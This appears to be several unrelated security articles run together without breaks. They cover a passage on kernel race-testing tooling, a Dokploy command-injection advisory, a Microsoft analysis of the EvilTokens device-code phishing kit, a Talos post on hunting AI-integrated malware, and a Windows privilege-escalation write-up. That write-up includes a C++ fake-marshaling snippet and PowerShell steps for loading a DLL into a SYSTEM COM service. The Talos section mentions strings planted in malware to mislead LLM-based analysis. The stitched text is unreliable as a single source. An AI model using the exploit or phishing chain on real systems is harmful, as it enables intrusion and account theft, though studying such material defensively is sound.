collecting A-B coverage
dup(5) = 6 (success)
testing candidates
dup(5) = -1 (Bad file descriptor)
dup(5) = -1 (Bad file descriptor)
dup(5) = -1 (Bad file descriptor)
dup(5) = 5 (success)
dup(5) = 6 (success)
dup(5) = 6 (success)
dup(5) = 6 (success)
dup(5) = 6 (success)
dup(5) = 6 (success)
dup(5) = 6 (success)
dup(5) = 6 (success)
stats: injection-failed:0 wait-timeout:7 reordered:4
sh-5.3#
And here is an example of me using the GUI on the same test case, using it to manually force an ordering where dup(7) returns 7.
First, I launch the GUI, then run the test case once in the guest:
sh-5.3# ./kcov-vsock-client testcase/demo-dup-vs-close.so
dup(7) = 8 (success)
At this point, no ordering constraints are enforced yet; dup() and close() are racing randomly. The GUI shows in what order execution happened:
This current view just shows function call graphs from both threads (thread 1 with black indent, thread 2 with red indent). The close() syscall happened to execute after dup() this time. Normal functions are shown in black; inline functions are shown in green, but only shown if they called a normal function (since “all inline functions” is not ticked).
Ticking “filter to communication points” shows a bunch of memory accesses in blue, which are communication points (as defined above, in short: reads from locations to which other threads write and writes to locations which other threads access; kfree() counts as a write operation). Each memory access line shows the type of access (Read/Write/Free), data address, access size, and the memory value before the access. Hovering over an access highlights all overlapping accesses in yellow.
Left-clicking on a memory access shows a view that is instead filtered to only show memory accesses overlapping the selected access. Note that this can show reads that were not identified as communication points (because all writes happen on the same thread).
Left-clicking a function name shows a source code view on the right, interspersed with trace data. Data values loaded by memory reads are shown in red (under the source line and column to which the compiler attributes the access); data writes are marked similarly with a red “WRITE”; memory accesses that are communication points are prefixed with “INTERFERENCE” in orange. Function calls are shown in blue.
By right-clicking on two memory accesses in the call graph view, it is possible to create an ordering constraint between the two accesses, such that the kernel will attempt to make the first selected access happen before the second selected access. Each ordering constraint is shown on the right side, represented as two count-augmented stack traces. Note that the last bottom element of the stack actually identifies a specific instruction, but the UI doesn’t really show this. Also, the count-augmented stack traces shown here do not include inline functions.
In this case, I have created one ordering constraint that orders the second file descriptor table access in __fget_files_rcu() (which is inlined into __fget_files()) before the file descriptor table entry removal in file_close_fd_locked() (which is inlined into file_close_fd()). This ensures that the file descriptor table lookup in dup() successfully looks up the file descriptor table entry before it is cleared by the concurrent close().
I have created another ordering constraint that orders the spin_unlock(&files->file_lock) in file_close_fd() before the spin_lock(&files->file_lock) in alloc_fd() so that the file descriptor table entry has been released by the time dup() searches for an unused entry.
In this view, ordering constraints have been specified, but the test case has not yet been run with this specified ordering.
(This view is filtered to show accesses to the files_struct::file_lock.)
Now, re-running the test case shows:
sh-5.3# ./kcov-vsock-client testcase/demo-dup-vs-close.so
dup(7) = 7 (success)
And the new trace appears in the UI, with brown “DELAY INJECTION” lines interspersed to show how the ordering constraints were applied.
Note that the UI shows the ordering of events based on timing information that is associated only with memory accesses; the placement for any event other than a memory access is inferred based on that. In views filtered by data accesses, function entry events are additionally only shown at the time of the first displayed non-function-entry event. For example, in the following screenshot, the first thread may have already entered get_unused_fd_flags() by the time file_close_fd() called spin_unlock(), even though the events are shown the other way around. However, memory accesses should be shown in approximately the right order; with the caveats that the order of memory accesses might be wrong if events happened at the same clock value, and that timing information is recorded by instrumentation that runs directly before the actual access. (Building the tool on fully specified orderings instead would avoid such caveats.)
(This view is filtered to show accesses to the file descriptor table entry.)
More documentation is available inside the GUI.
For LLVM: The required patch has landed in LLVM 23.1.0.
For the Linux kernel: The required patches are not yet in the upstream kernel. I am posting the Linux kernel patch series for upstream review around the same time as this blog post; a git branch with my patches is also available on github (with a few more patches that aren’t yet ready for upstreaming). If you want to test this tooling, you will need to use my kernel branch for now. (See the README in the tools repository for build instructions.)
My kernel patches are in a clean state; the userspace tooling is a bit more hacky, in particular the GUI implementation.
The command-line tooling can only handle two concurrent threads, while the GUI can handle additional execution contexts (with the kcov-vsock-client harness: background work launched by thread A).
I am looking forward to hearing if this is useful to others, and maybe even what tools others manage to build on top of this! Feel free to reach out to me (for example via email to maccconc-tooling@google.com).
The non-automatic tooling currently uses constraint-style delay injection; but as described above, fully-specified orderings have several advantages, including more deterministic behavior. I might change the GUI implementation to use fully-specified orderings instead in the future.
For reading memory access traces as a human, it might be helpful to provide information on the object types that are being accessed. One way to do this would be to follow what Microsoft’s debugging tools can do with CodeView debuginfo and use debuginfo to associate memory allocation function call sites with type information, then let the allocator track the call sites from which objects have been allocated.
I proposed to add such a feature to the DWARF standard, which has been accepted and is included in the current DWARF 6 draft (search for DW_AT_alloc_type), and added enough support to LLVM to make it work in the same cases where it already worked with CodeView; but so far that only works for C++ new calls, I did not land the changes necessary to make it work for malloc.
Making this work in the kernel would require infrastructure that either queries allocator metadata for every memory access record or provides an initial snapshot of heap allocator metadata across the system plus metadata about subsequent memory allocations.
One inefficiency in my current prototype is that userspace receives no information about the semantics of locking operations. If two threads each perform lots of memory accesses on an object while holding a lock protecting the object, this will generate a large number of potential communication points, but actually a locked section just represents one big communication point. It might be helpful if the kernel provided “lock acquired” and “lock about to be released” events.
But that might not be a very general approach, since impossible orderings caused by locking are not so different from impossible orderings caused by things like an object being initialized before it is published to a global pointer or such.
In my current implementation, when an attempt is made to force an impossible ordering via delay injection, the result is that one thread spins/waits on a lock until another thread reaches the delay injection timeout, which is inefficient. It might help to have integration with lock debugging infrastructure that can detect such a semi-deadlock in simple cases and abort the test case faster.
Snowboard (a project that searches for concurrency bugs caused by interaction between fuzzer-generated single-threaded test cases) used recorded information about memory accesses in single-threaded test cases to identify which test cases could have interesting communication points when executed in parallel. It would be interesting to build something similar on top of this KCOV-based instrumentation.
It might also be interesting to use this for single-threaded test case creation: Start by collecting memory access coverage for individual system calls, then use that to determine which syscalls might interact with each other in interesting ways when executed in sequence, and build up longer system call sequences this way.
This would be easier using VM snapshots (like SKI), since my approach does not lead to stable data addresses across test case executions; but it would probably be possible by identifying memory locations that are different between test cases abstractly based on allocation sites, as long as allocation site information is available for all objects that are allocated per test case execution.
My current tooling loses KCOV output if the kernel under test panics, so it can’t be used for displaying what happened when a kernel crash occurred.
For use cases where the kernel under test is a KVM guest, it might be useful to give the host direct access to the KCOV output buffer. One way to do this might be to use pages in a file on virtiofs with DAX as the KCOV output buffer, and allow writing KCOV output into userspace-provided pages.
Dokploy versions 0.29.8 and 0.29.11, as well as commit 24b02f5 on the canary branch, are vulnerable to OS command injection during the backup creation and restoration processes. The vulnerability stems from unsanitized shell command construction that can allow an attacker to escalate privileges and lead to full compromise of the target device.
Dokploy is an open-source Platform as a Service solution for deploying applications and databases on self-hosted servers. Dokploy allows authenticated users to create and schedule database backups and restore previously created backups. These backup operations are executed by the Dokploy process, which runs with root privileges by default.
Dokploy is vulnerable to OS command injection in its database backup creation and restoration functionality due to insufficient sanitization of user-controlled input before it is incorporated into shell commands. The vulnerable backup functionality constructs database-specific shell commands that directly interpolate a user-supplied database name, while the restore functionality incorporates a user-supplied backupFile value into a shell command. Both operations ultimately pass the resulting command to a shell execution helper that invokes /bin/bash as a child of the Dokploy process, without shell escaping or restrictions on shell metacharacters.
The affected parameters are exposed through tRPC procedures that only validate that the supplied values are non-empty strings. Consequently, authenticated users with permission to perform database backups can supply shell metacharacters that are interpreted by /bin/bash, resulting in arbitrary command execution on the Dokploy host with the root privileges of the Dokploy server process.
An attacker with authenticated Dokploy account with backup permission (granted by default for database services) can execute arbitrary commands as root (default configuration) on the Dokploy host. Successful exploitation provides full control of the host, including persistent read/write access to the target server's filesystem and the ability to steal private credentials stored for other tenants managed by the same Dokploy instance.
The vulnerability affects all five database types supported by Dokploy: PostgreSQL, MySQL, MariaDB, MongoDB, and LibSQL. Exploitation was confirmed against versions 0.29.8 and 0.29.11, as well as commit 24b02f5 on the canary branch available on GitHub.
Unfortunately, Dokploy could not be reached to coordinate this vulnerability; however, the issue has been patched in Dokploy versions 0.29.13 and beyond. The CERT/CC recommends users update immediately. Database administrators or general operators unable to update should mitigate potential attacks by turning off default backup permissions, and restricting these permissions only to necessary users and roles.
Thanks to Muhammadjon Ahmadjonov for reporting this vulnerability. This document was written by Alex Lewis.
| CVE IDs: | |
| Date Public: | 2026-09-17 |
| Date First Published: | 2026-09-17 |
| Date Last Updated: | 2026-09-17 15:02 UTC |
| Document Revision: | 1 |
Following its emergence in February 2026, EvilTokens quickly became one of the most widely used phishing-as-a-service (PhaaS) platforms, providing cybercriminals with AI capabilities for tailoring phishing lures and analyzing compromised inboxes to identify high-value targets. This AI-powered cybercrime platform facilitated sophisticated business email compromise (BEC) campaigns that compromised more than 12,000 inboxes in over 10,000 organizations worldwide.
EvilTokens enabled threat actors to abuse the device code authentication flow, steal tokens, and compromise organizational accounts at scale using an AI-driven infrastructure and automating multiple parts of the attack chain. The toolkit offered a plethora of prebuilt phishing templates and landing pages with an AI-powered assistant to aid in structuring target-specific emails.
Stolen tokens are used for email exfiltration and persistence, often through the creation of malicious inbox rules that conceal communications. In some cases, tokens can also be used to grant new devices access to a victim’s inbox, a particularly durable method to maintain persistence. Microsoft Threat Intelligence tracks the threat actor behind the development and support of the EvilTokens phish kit as Storm-2992.
Post-compromise, EvilTokens enabled threat actors to utilize AI assistants to sift through victim mailbox activity and engineer a phishing message based on the accessible email content. EvilTokens also allowed threat actors to conduct Microsoft Graph reconnaissance to map organizational structure and permissions, enabling continued access and potential lateral movement while tokens remain valid. While token-targeting phishing is not new, it has become far more common and industrialized over the last several years as organizations adopted multifactor authentication (MFA).
To evade detection, EvilTokens uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. Targets are lured through deceptive emails that use 44 different themes, including invoices and request for proposals (RFPs), or shared files. These emails contained malicious URLs, PDF attachments, and HTML files.
Campaigns leveraging EvilTokens have impacted organizations in various industries, including wholesale distribution, construction, financial services, real estate, higher education, and healthcare, with the highest concentrations of observed victim activity in the United States, Canada, the United Kingdom, Australia, India, and France. Working with partners, Microsoft’s Digital Crimes Unit (DCU) facilitated a coordinated disruption of infrastructure used to operate the EvilTokens service.
This blog provides a comprehensive, up-to-date analysis of the EvilTokens platform and operations. We share specific examples of the EvilTokens service panel and a detailed analysis of EvilTokens infrastructure. Defending against EvilTokens and similar adversary-in-the-middle (AiTM) phishing threats requires a layered approach that blends technical controls with user awareness. This blog also provides Microsoft Defender detection and hunting guidance, as well as resources on how to set up mail flow rules, enforce spoof protections, and configure third-party connectors to prevent spoofed phishing messages from reaching user inboxes.
One of the primary capabilities of EvilTokens is its device code phishing flow, which abuses device code authentication, a legitimate OAuth flow designed for devices with limited interfaces, such as smart TVs, printers, Teams devices, and conferencing devices, that cannot support a standard interactive sign-in. In this model, a user is presented with a short code on the device they are trying to sign in from and is instructed to enter that code into a browser on a separate device to complete authentication.
While this flow is useful for these scenarios, it introduces a security tradeoff. Because authentication is completed on a separate device, the session initiating the request is not strongly bound to the user’s original context. Threat actors have abused this characteristic as a way to circumvent traditional MFA protections by decoupling authentication from the originating session. Threat actors also use social engineering layouts and other tricks to disguise the legitimate device code flow approval as something else required.
Device code phishing occurs when threat actors insert themselves into this process. Instead of a legitimate device requesting access, the threat actor initiates the flow and provides the user with a code through a phishing lure. When the user enters the code, they unknowingly authorize the threat actor’s session, granting access to the account without exposing credentials. Microsoft recommends blocking device code flow wherever possible. If your organization uses Teams devices that require device code flow, scope the exception to specific Teams device resource accounts and exclude the Device Registration Service resource from your Conditional Access policy.
In April 2026, Microsoft tracked a phishing campaign aligned with EvilTokens that used automation platforms to spin up thousands of unique, short-lived polling nodes. This approach allowed the threat actors to deploy complex backend logic (Node.js) that bypassed traditional signature-based or pattern-based detection. This infrastructure was leveraged in the attack end-to-end, from generating dynamic device codes to post-compromise activities.
The following sections examine how EvilTokens operated, the capabilities available through its customer panel, and infrastructure supporting phishing campaigns. We also trace the EvilTokens attack chain, from lure delivery and device code generation through defense evasion, token theft, and post-compromise activity.
The threat actor tracked as Storm-2992 advertised and sold EvilTokens services to cybercriminals on the actor’s Telegram channels. Cybercriminals continue to gravitate towards apps like Telegram that provide anonymity, cross-platform access, file sharing, and channels for broadcasting announcements to large groups of followers. The threat actor uses Telegram to advertise their phish kit, announce updates, coordinate with their subscribers, and provide customer support.
EvilTokens phish kits are sold at $1,500 USD for initial purchase, with a monthly subscription fee of $500 for continued access to the kit and control panel. The kit provides additional products, including Antibot redirector, B2B Sender, Office 365 Capture Link, and a Simple Mail Transfer Protocol (SMTP) Sender. Each of these products has additional fees for 30 days of access.
The EvilTokens panel provides the core components needed to support phishing campaigns, including pre‑built templates, attachment files for common lure formats, domain and hosting configuration, redirect logic, and victim tracking.
After signing in, EvilTokens subscribers are presented a dashboard with various options to choose from. First, subscribers are asked to choose a deployment method (Cloudflare Workers/Bunny or PHP Hosting) and then are asked to choose from a list of deploy options, including Capture Mode, Layout & Template, Code Display Style, Page Language, CAPTCHA, AI Mode, and Captured Text. These options allow subscribers to highly customize their deployment methods.
Subscribers are provided with multiple settings and additional guidance for managing captured tokens. Once tokens have been captured, EvilTokens offers its subscribers full access to the victim email account, as well as admin detection, token auto-refresh, and an auto-scan of inboxes using keyword alerts through Telegram.
The toolkit offers additional products, which are detailed under Essential Tools. Here, subscribers are given product information and are provided with a link to download or get the product as well as a video tutorial. Subscribers are even given the opportunity to receive cryptocurrency as a reward for referring the service to others.
The platform offers 44 different themes for customizing email templates and landing pages, including text and colors.
EvilTokens offers subscribers personalized lures, using AI to create targeted phishing emails aligned to the target’s role, including the use of various themes to increase the likelihood of user interaction. Themes used include document signing services, Microsoft cloud services, third-party services (cloud identity, file hosting, payment/invoicing), and other miscellaneous services like voicemail and eFax.
Additionally, researchers at Huntress noted email content like construction bid proposals, business partnership agreements, employee compensation/benefits, and password expiring notices in EvilTokens emails.
The attack chain begins when a user interacts with a malicious attachment or URL embedded within a high-pressure lure (for example, “Action Required: Password Expiration”).
When a user clicks the malicious link or attachment, they are directed to a web page running a background automation script. This script interacts with the Microsoft identity provider in real time to generate a live device code. This code is then displayed on the user’s screen with a “Copy Code” button along with a “Continue” or “Continue with Microsoft” button that, when clicked, redirects to the official microsoft.com/devicelogin portal.
After presenting the code to the user and opening the legitimate microsoft.com/devicelogin URL, the script enters a polling state using the checkStatus() function to monitor the 15-minute window in real time. Every three to five seconds (setInterval), the script pings the threat actor’s /state endpoint. It sends the secret session identifier code to validate if the user has authenticated yet. While the targeted user is entering the code on the real Microsoft site, the loop returns a “pending” status.
To minimize user effort and maximize the success rate, the threat actor’s script often automatically copies the generated device code to the user’s clipboard. Once the user reaches the official sign-in page, they paste the code. If the user does not have an active session, they are prompted to provide their password and MFA. If they are already signed in, simply pasting the code and confirming the request instantly authenticates the threat actor’s session in the backend.
The final stage varies depending on the threat actor’s specific objectives. In some instances, within 10 minutes of the breach, threat actors registered new devices to generate a Primary Refresh Token (PRT) for long-term persistence. In other scenarios, they waited several hours before creating malicious inbox rules or exfiltrating sensitive email data to avoid immediate detection.
EvilTokens adds the capability for threat actors to phish and take actions that they would not be capable of performing without EvilTokens tools assisting them, giving threat actors the ability to mass-phish users and perform other operations at their leisure.
EvilTokens uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. Phishing pages delivered to the user vary in complexity and evasion techniques, adding a customization layer by the operator and which tools they use. Popular techniques include but are not limited to image links (images that link to URLs), multi-stage redirection schemes, and attachments containing multi-stage delivery.
Landing page evasions include fake CAPTCHA checks/verification services that require user interaction before displaying the phishing content. To further evade automated URL scanners and sandboxes, the threat actors will at times not link directly to the final phishing site. Instead, they use a series of redirects through compromised legitimate domains and high-reputation “serverless” platforms. We observed heavy reliance on abuse of Vercel (.vercel.app), Cloudflare Workers (.workers.dev), and AWS Lambda for hosting the redirect logic. By using these domains, the phishing traffic blends in with legitimate enterprise cloud traffic, evading simple domain-blocklist triggers.
Once authentication tokens are obtained, threat actors can focus on post-compromise activity designed to maintain and expand access and extract data. This access can be used to send further emails internally to the organization and to external contacts, allowing the actor to send phishing emails for seemingly trusted contacts. In one observed incident, the attack progressed to email exfiltration and account persistence through inbox rules created using Microsoft Office. This involved filtering the compromised users and selecting targets:
To harden networks against the device code phishing activity described above, defenders can implement the following:
Microsoft recommends the following best practices to further help improve organizational defenses against phishing and other credential theft attacks:
Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
Using Safe Links and Microsoft Entra ID Protection raises high-confidence device code phishing alerts from Defender.
| Tactic | Observed activity | Microsoft Defender coverage |
| Initial access | Device code authentication | Microsoft Defender for Identity – Anomalous OAuth device code authentication activity |
| Credential access | Token theft following device code authentication | Microsoft Defender for Identity – Anomalous token exchange following device code authentication Microsoft Defender XDR – User account compromise via OAuth device code phishing – Suspicious Azure authentication through possible device code phishing |
| Persistence | Device registration following anomalous device code authentication | Microsoft Defender for Identity – Suspicious Entra device join or registration Microsoft Defender XDR – Device registration after potential device code phishing |
| Discovery | Anomalous volume of Microsoft Graph API requests following device code flow authentication | Microsoft Defender XDR – Anomalous Microsoft Graph API activity after potential device code phishing – Anomalous Microsoft Graph API POST activity after potential device code phishing |
| Defense evasion | Malicious inbox rule created after anomalous device code authentication | Microsoft Defender XDR – Suspicious inbox rule created after potential device code phishing sign-in |
Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.
Continued at the source.
A cairn is a marker left behind on a trail, a deliberately placed stack of stones that helps hikers find their way when the path is unclear. Attackers building AI-integrated malware unintentionally (and inevitably) leave behind markers of their own: prompt templates, provider endpoints, API keys, jailbreak terms, and other artifacts embedded throughout their tooling.
When we consider these strings as cognitive artifacts, or vestiges left behind from AI integration, we can enable a new, metadata-first hunting methodology for AI-integrated malware that is fast and scalable. These artifacts can be extracted, related, and classified without ever touching the underlying binary.
Today, Cisco Talos is releasing this methodology in the form of CAIRN (Cognitive Artifact Intelligence Research Network), a research toolkit for hunting, classifying, and tracking emerging AI-integrated malware. Over time, we will share the full contents of our initial findings, starting today with CLOSEDQUORUM.
cairn explorer to launch the graph.CAIRN contains functionality for identifying AI-integrated malware; in our definition, that is malware that functionally operationalizes, explicitly targets, or exploits AI systems and their ecosystems — spanning functional integration into attack chains, credential and infrastructure compromise, and ecosystem-level abuse. These binaries are classified based on pre-defined AI-usage archetypes, and reporting findings in a structured way.
CAIRN has an explorer layer, which creates a structured graph of cognitive artifact relationships to help defenders identify related malware families, infrastructure, and threat actors.
CAIRN operates entirely from metadata — no binary downloads or execution required. It combines rule-based detection, semantic clustering, and relationship graph traversal to identify AI-integrated malware through cognitive artifacts such as embedded prompts, provider endpoints, orchestration logic, API key prefixes, and AI-analysis evasion strings.
CAIRN discovers candidate samples through up to 24 acquisition filters, each targeting a different type of AI-related artifact. Instead of relying solely on filenames or hashes, these filters search across metadata including extracted strings, sandbox behavior, and antivirus (AV) detection labels.
provider-api-integration searches for LLM provider endpoint strings in file metadata. For example: api.openai.com api.anthropic.com api.deepseek.comGenerativelanguage.googleapis.compython-ai-scripts targets Python files matching AI framework import patterns. For example: langchain litellm openai ai-analysis-evasion searches for text strings explicitly addressed to AI analysis systems — the kind of comment an actor might embed when trying to tell an LLM sandbox "there's nothing to see here."local-llm-runtime searches for strings indicating local model inference (ollama, llama.cpp, vllm, gguf, safetensors). This surfaces files that may be running inference on the endpoint rather than calling a hosted API.agentic-tooling looks for tool-call syntax (tool_call, tool_calls, function_call) co-occurring with offensive capability terms. Results from the acquisition filters are stored in a SQLite corpus with YARA run automatically on import, using a three-layer ontology:
CAIRN is set up with a detailed CLI and works well for an analyst or as an agent-driven workflow. The skills published support a standardized reporting structure when using an agent.
CAIRN uses four distinct analysis strategies; each suited to a different phase of investigation. In practice, a hunt session combines several of them: surface expansion to find unknowns, pivoting to map what's related, and corpus analysis to find structure in what's been collected.
Discover previously unseen samples using acquisition filters. This type of hunt produces candidate samples that are introduced into the CAIRN database.
Once a sample of interest has been identified, CAIRN expands outward through metadata relationship graphs to identify related malware, shared infrastructure, and other artifacts connected to the same campaign.
These relationships help analysts answer questions such as:
By following these connections, analysts can move beyond a single malware sample and begin reconstructing the broader operational ecosystem behind it.
CAIRN's YARA rules operate on scan text derived from sample metadata in a three-tier structure (T1 artifacts, T2 behaviors, T3 confirmed families). The same text document that feeds the embedding pipeline in the next method, Semantic Discovery, is used for YARA matching.
Traditional YARA rules are written after reverse engineering (RE). They anchor on the artifacts reverse engineering surfaces, particularly the low-level implementation details that most precisely fingerprint a family. Those are the best classifiers you can write, but they presume you hold the binary. A CAIRN rule must fire on what VirusTotal already exposes as metadata: printable strings, import names, resource and version-info fields, and certificate identities — so the discriminator must survive the trip from disassembly up to the surface of the file. The RE finding tells you what makes the family unique; the metadata rule is the projection of that finding onto the subset of it that's observable without a download.
Tier 3 rules are used to assign logic to identify known operational families. This produces a YARA rule for confirmed attribution of a family of samples.
This is the constant tension in a T3 rule: The sharpest signal from low-level RE is exactly the signal you can't hunt on. As a result, the discipline is to pin down the family by RE, then ask which string- or metadata-accessible trait travels alongside that mechanism. Build the rule from those, treating the deep implementation detail as the thing the rule is a proxy for rather than the thing the rule matches.
After any rule change, cairn rescan re-applies all three tiers offline against the full corpus without any API calls or re-downloading. This means a new T3 rule for a confirmed family will immediately surface any previously-acquired samples that match, retroactively attributing earlier hits to the new family.
YARA finds what you already know to search for. Embedding models can identify samples that are semantically similar even when they share no obvious string overlap. CAIRN therefore treats semantic clustering as a complementary discovery mechanism rather than a replacement for YARA.
For each sample, CAIRN assembles a scan text document from:
This approach produces candidate families and reveals outliers and novel clusters. This view is exposed in the CAIRN explorer through the UMAP toggle, which presents an unsupervised pass over the full existing corpus using HDBSCAN and UMAP. Cluster co-membership is a weak similarity signal, not a strong attribution signal. It generates leads, not conclusions. Every interesting cluster still requires per-sample inspection to confirm the AI angle is real and not a false neighbor.
Talos' initial hunts with CAIRN have targeted active malware development since July 2025, when the first AI-integrated samples were reported in the wild (LAMEHUG, CERT-UA). Looking across our collection of samples and relationships, we can make a few interesting initial observations:
It’s too soon to tell whether AI-integrated malware will conclude as an experimental era, or usher in new paradigms for modern attack operations. Adversaries are increasingly incorporating LLMs into operational tooling, and researchers need methodologies and frameworks that scale beyond manual reverse engineering to keep pace with the changes. Metadata-first hunting provides a scalable complement to traditional reverse engineering, and by open-sourcing CAIRN, Talos hopes to refine filters, rules, and reporting via community-driven improvements.
CAIRN is a research effort, not a pure active threat signal. However, for the security community, the insights gleaned from studying this landscape and its progression form a valuable signal to inform our detection, intelligence, and operational strategies.
Take a brief tour of CAIRN with our demo video:
This short blog post is about abusing a privilege escalation bug that Microsoft recently fixed in Windows, CVE-2026-66804, that I and 14 others reported. This issue is an incomplete fix for CVE-2026-50343, a bug dubbed “Dark Elevator” by Calif.
The root cause of the bug was a dangling COM object registration for the CrossDevice COM object with the CLSID {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}. A COM registration typically needs two parts: a server executable, which for in-process components is a DLL and a CLSID entry under the HKEY_CLASSES_ROOT registry key which points to that DLL.
This object was registered in the system wide classes key, meaning it was accessible to all users on the system, including system services. However the server executable was missing. Specifically it was registered to use the DLL %PROGRAMDATA%\CrossDevice\CrossDevice.Streaming.Source.dll. Not only does this path not exist, it’s also within the C:\ProgramData directory. This is a common location for all users on the system and therefore permits anyone to create directories. Therefore you can create an arbitrary DLL file at that location and the COM object can be instantiated potentially leading to privilege escalation.
But how to get the COM object, and thus the DLL, loaded into a privileged process? The fixed bug Calif blogged about, CVE-2026-50343, abused a weak registry key permissions to add the class as a installer plugin and then get the InstallService to load it into memory. The issue with the InstallService was fixed, so we need an alternative way to abuse the unfixed dangling COM reference.
A technique I’ve used multiple times in the past to load an arbitrary DLL into a privileged process is to abuse custom COM marshaling. When you call an interface method which is implemented out-of-process, the COM runtime will marshal the parameters into an RPC call to send to the server. If a parameter is a COM object then the runtime marshals that object into an OBJREF structure that allows the object to be used in the server. The two main types of OBJREFs are shown in the diagram below, or you can read about them in the official DCOM documentation here:
The default COM marshaling strategy is by reference which produces a Standard OBJREF containing all the information needed to connect to the original object. The object might even be on a completely different computer. When the object is unmarshaled this information is used to create an RPC channel back to the caller so that the server can call methods on the object.
The runtime also supports an opt-in marshal by value mechanism if the object implements the IMarshal interface. This allows the object to specify an arbitrary CLSID to use as the unmarshaling object, which doesn’t have to be the same as the object being passed in. When the object is unmarshaled in the server the CLSID is used to lookup an in-process server DLL to load.
Therefore an obvious technique to exploit the dangling COM object registration is to send a Custom OBJREF to a privileged COM service specifying the CLSID of the dangling object. When unmarshaled, which happens automatically in the runtime before the target method is called, the malicious DLL will be loaded and we’d get privilege escalation. The following code shows how trivial it is to specify the dangling COM class in an IMarshal implementation:
class FakeMarshal : public IMarshal {
// Inherited via IMarshal
HRESULT GetUnmarshalClass(REFIID riid, void* pv,
DWORD dwDestContext, void* pvDestContext,
DWORD mshlflags, CLSID* pCid) override
{
return CLSIDFromString(L"{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}", pCid);
}
// ...
};
We need to find a privileged service to send the marshaled COM object to become an administrator. Unfortunately, finding such a service isn’t so simple. The fact that a custom marshaling object will cause an arbitrary DLL to be loaded into the process and code executed is a risky operation, especially across privilege boundaries. Therefore Microsoft implemented a mitigation which can be enabled to disable custom marshaling in the process unless the class is explicitly opted in, or is one of a small number of trusted components such as classes in the runtime library.
Since Windows 8 this mitigation is implemented through two mechanisms, the first and original method is setting the EOAC_NO_CUSTOM_MARSHAL capabilities flag when calling CoInitializeSecurity. The second, added to improve security in AppContainer sandboxes is set through the IGlobalOptions::Set method and specifying the COMGLB_UNMARSHALING_POLICY property type. As we’re not trying to escape from a sandbox the only value of importance is COMGLB_UNMARSHALING_POLICY_STRONG which disables custom marshaling similar to the capabilities flag.
As the dangling COM object isn’t registered as a trusted marshaler this means we need to find a privileged COM server that doesn’t enable these mitigations. The easiest approach is to scan the processes at runtime. The capability flags are stored in the value combase!gCapabilities while the marshaling policy is stored in combase!g_GLBOPT_UnmarshalingPolicy.
However, I kept thinking there must be a COM service that runs as SYSTEM and doesn’t enable custom marshaling. After a bit of fiddling I found one, although there’s no doubt others. It turned out to be a COM service I’ve researched and exploited before, the Shell Create Object Handler object. This is an interesting COM object, in that while it runs in a SYSTEM service, it’s not directly instantiable:
PS> $cls = Get-ComClass -Clsid 135fd325-45b7-4c30-89f8-4386961669f0
PS> $o = New-ComObject -Class $cls
Exception calling "CreateInstanceAsObject" with "3" argument(s): "Class not registered"
PS> $cls.AppIdEntry | Select Name, RunAs, IsService
Name RunAs IsService
---- ----- ---------
Shell Create Object Handler nt authority\system False
Normally, when a COM object is hosted by a privileged service, it’s registered with the name of a system service that RPCSS will start automatically when the object class is requested. However, in this case as there’s no service,creating the object fails with a “Class not registered” error. In order to create the COM server, the service needs to already be running as the SYSTEM user before you call CoCreateInstance.
Instead you have to start the privileged server via the \Microsoft\Windows\Shell\CreateObjectTask scheduled task. Fortunately this task can be started by normal users, which you can verify with my Get-AccessibleScheduledTask command:
PS> Get-AccessibleScheduledTask -Executable |
? Name -Match Shell\\CreateObjectTask
TokenId Access Name
------- ------ ----
77E3156D GenericExecute|GenericRead ...\Shell\CreateObjectTask
Of course just starting this task is not enough, you also need to create a global named event, ShellCreateObjectTaskReadyEvent otherwise the task will immediately exit and not export the COM service. A simple script to create an instance is shown below:
PS> $ev = New-NtEvent -Win32Path "Global\ShellCreateObjectTaskReadyEvent" -InitialState $false
PS> Start-ScheduledTask -TaskPath "\Microsoft\Windows\Shell\" -TaskName "CreateObjectTask"
PS> $ev.Wait()
PS> $o = New-ComObject -Clsid "135fd325-45b7-4c30-89f8-4386961669f0"
PS> $o
InterfaceName Iid
------------- ---
IUnknown 00000000-0000-0000-c000-000000000046
You can verify that the object is hosted in a privileged process with the Get-ComProcess command and checking the CustomMarshalAllowed property. Note this command is currently broken on Windows 11 25H2 due to changing structures that I’ve not had a chance to update, it still works on previous versions.
PS> $objref = Get-ComObjRef -Object $o
PS> $p = Get-ComProcess -ProcessId $objref.ProcessId
PS> $p | Select Name, User, CustomMarshalAllowed
Name User CustomMarshalAllowed
---- ---- --------------------
dllhost NT AUTHORITY\SYSTEM True
At this point we have everything we need to exploit the dangling COM object, we’ve got a COM service running as SYSTEM with custom marshaling allowed. We can use the CoGetInstanceFromIStorage API to create the object, passing the “fake” marshaled object as the pstg parameter. This object will get marshaled to the COM server process and then unmarshaled unconditionally during object activation. We do need to implement a fake IStorage interface to get it past the local API implementation, which isn’t that difficult but I thought I’d see if there’s an easier way. Let’s look at the supported interfaces:
PS> Get-ComInterface -Object $o
Name IID HasProxy HasTypeLib
---- --- -------- ----------
IUnknown 00000000-0000-... False False
IMarshal 00000003-0000-... False False
IMarshal2 000001cf-0000-... False False
ICreateObject 75121952-e0d0-... True False
PS> Get-ComInterface -Name ICreateObject | ConvertTo-ComSourceCode -Parse
[
object,
uuid(75121952-E0D0-43E5-9380-1D80483ACF72),
]
interface ICreateObject : IUnknown {
HRESULT Proc3([in] GUID* p0, [in] IUnknown* p1,
[in] GUID* p2, [out, iid_is(p2)] IUnknown** p3);
}
The COM object only has one unique interface, ICreateObject. Converting the interface proxy to IDL shows that it takes an IUnknown pointer as its second parameter. Therefore to exploit the dangling COM registration we can just pass the “fake” marshaled object to this parameter and get privileged code execution. I’ve attached an updated, fully working exploit of the bug to the original issue here.
It’s worth noting that while this exploitation technique makes it easy to exploit dangling COM registrations, it can also be used to exploit buggy COM class custom unmarshalers. Sometimes, just the act of loading a DLL into a process can cause a crash.
